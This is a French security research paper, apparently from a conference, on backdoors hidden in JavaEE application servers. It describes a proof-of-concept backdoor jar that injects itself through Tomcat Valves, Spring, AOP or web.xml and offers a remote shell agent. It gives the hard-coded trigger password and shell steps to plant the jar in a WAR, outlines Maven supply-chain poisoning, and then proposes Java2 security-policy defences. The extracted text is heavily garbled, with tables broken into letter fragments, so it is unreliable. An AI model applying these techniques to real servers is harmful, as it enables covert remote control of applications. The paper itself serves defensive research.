Agent laquo shell raquo Cet agent lance un shell sur le serveur et offre une interface similairedans le navigateur Des requetes periodiques permettent de recuperer les modificationsdrsquoetats dans le shell du serveur Il srsquoagit drsquoun simple shell TTY et non drsquoun shellANSI

416 Porte derobee dans les serveurs drsquoapplications JavaEE

Fig 13 Shell

Comme la porte derobee propose des agents generiques il nrsquoest pas possiblede connaıtre les motivations du pirate lors de sa decouverte Souhaite-il recupererdes informations confidentielle abuser des services de lrsquoapplication srsquoinjecter sur leserveur rebondir vers drsquoautres cibles

3 Demonstration

Pour illustrer cette etude un code de demonstration est propose Il srsquoagit drsquounearchive Java a placer dans le repertoire WEB-INFlib drsquoun composant Web Differentestechniques sont utilisees pour decouvrir les vulnerabilites efficaces dans lrsquoenviron-nement drsquoexecution

Le code commence par etre declenche par un piege (META-INFservices Resource-Bundle Annotation fichier de parametres etc) Puis le code attend quelques secon-des avant de demarrer pour ne pas interrompre lrsquoinitialisation du serveur si necessaire

Si la programmation par Aspect est possible et globale a toute la JVM le codeinstalle un filtre AOP sur toutes les servlets et toutes les JSP lors de leur chargementen memoire

Si la programmation par Aspect nrsquoest pas possible et que Spring est utilise le codeinstalle un bean Spring en detournant le parseur DOM Ainsi tous les controleurs duframework MVC peuvent ouvrir la porte derobee

Si Spring et lrsquoAOP ne sont pas presents le code essaye drsquoinjecter directementdes Valves Tomcat via JMX Sous Tomcat 5x cela est possible si le parametreltContext privileged=truegt est present Sous Tomcat 6x cela est toujours possible si lasecurite Java2 nrsquoest pas activee

P Prados 417

Si le moteur est compatible Servlet 30+ un filtre est declare via une annotationServletFilter Il est decouvert par le moteur JavaEE et installe discretement

Si cela ne fonctionne toujours pas le code essaye drsquoaugmenter ses privileges enrecopiant lrsquoarchive de la porte derobee dans un repertoire du serveur drsquoapplicationLe code srsquointerrompt alors pour attendre un redemarrage

Si lrsquoaugmentation de privilege nrsquoest pas possible ou nrsquoest pas appropriee pour leserveur drsquoapplications le code essaye de modifier le fichier webxml du repertoirede travail de Tomcat pour injecter un filtre JavaEE puis le code srsquoendort jusqursquoauprochain depart du serveur drsquoapplications

Ce scenario permet une installation de la porte derobee dans differentes situationsavec ou sans la securite Java2 activee avec plus ou moins de privileges

Au redemarrage du serveur drsquoapplicationsndash si lrsquoarchive a pu etre recopiee dans un repertoire du serveur drsquoapplications pour

augmenter les privileges le code utilise un ResourceBundle utilise par ce dernierpour installer effectivement la porte derobee a lrsquoaide de Valves

ndash si le fichier webxml a ete modifie lors de la premiere etape le serveur drsquoapplica-tions installe le filtre JavaEE

Si la securite Java2 est active et sans privilege particulier accordee a lrsquoarchivede la porte derobee le code est quand meme capable de srsquoinjecter Il faut que lecomposant WAR utilise Spring Lrsquoattaque exploite uniquement la redefinition delrsquoanalyseur XML DOM Nous proposons plus bas une solution pour interdire cela

31 Execution

Que la requete entre dans une Valve un filtre J2EE un PointCut Interceptorou AOP la porte derobee analyse tous les champs des formulaires Si elle trouve lavaleur M4c4r0n elle detourne le traitement pour executer un agent

La couche de transport analyse le suffixe apres la clef pour selectionner lrsquoagent Sila requete nrsquoest pas terminee elle alimente un tampon en memoire et retourne unepage vierge Sinon la requete est traitee et deleguee a lrsquoagent correspondant

Chaque agent utilise un protocole qui lui est propre

32 Executer la demonstration

Les demonstrations sont toutes fondees sur la meme approche Telecharger uncomposant WAR sur le net ajouter lrsquoarchive de la porte derobee dans le repertoireWEB-INFlib et installer le composant dans le serveur drsquoapplication

Voici des exemples que vous pouvez utiliser ndash httptomcatapacheorgtomcat-55-docappdevsamplesamplewar

418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

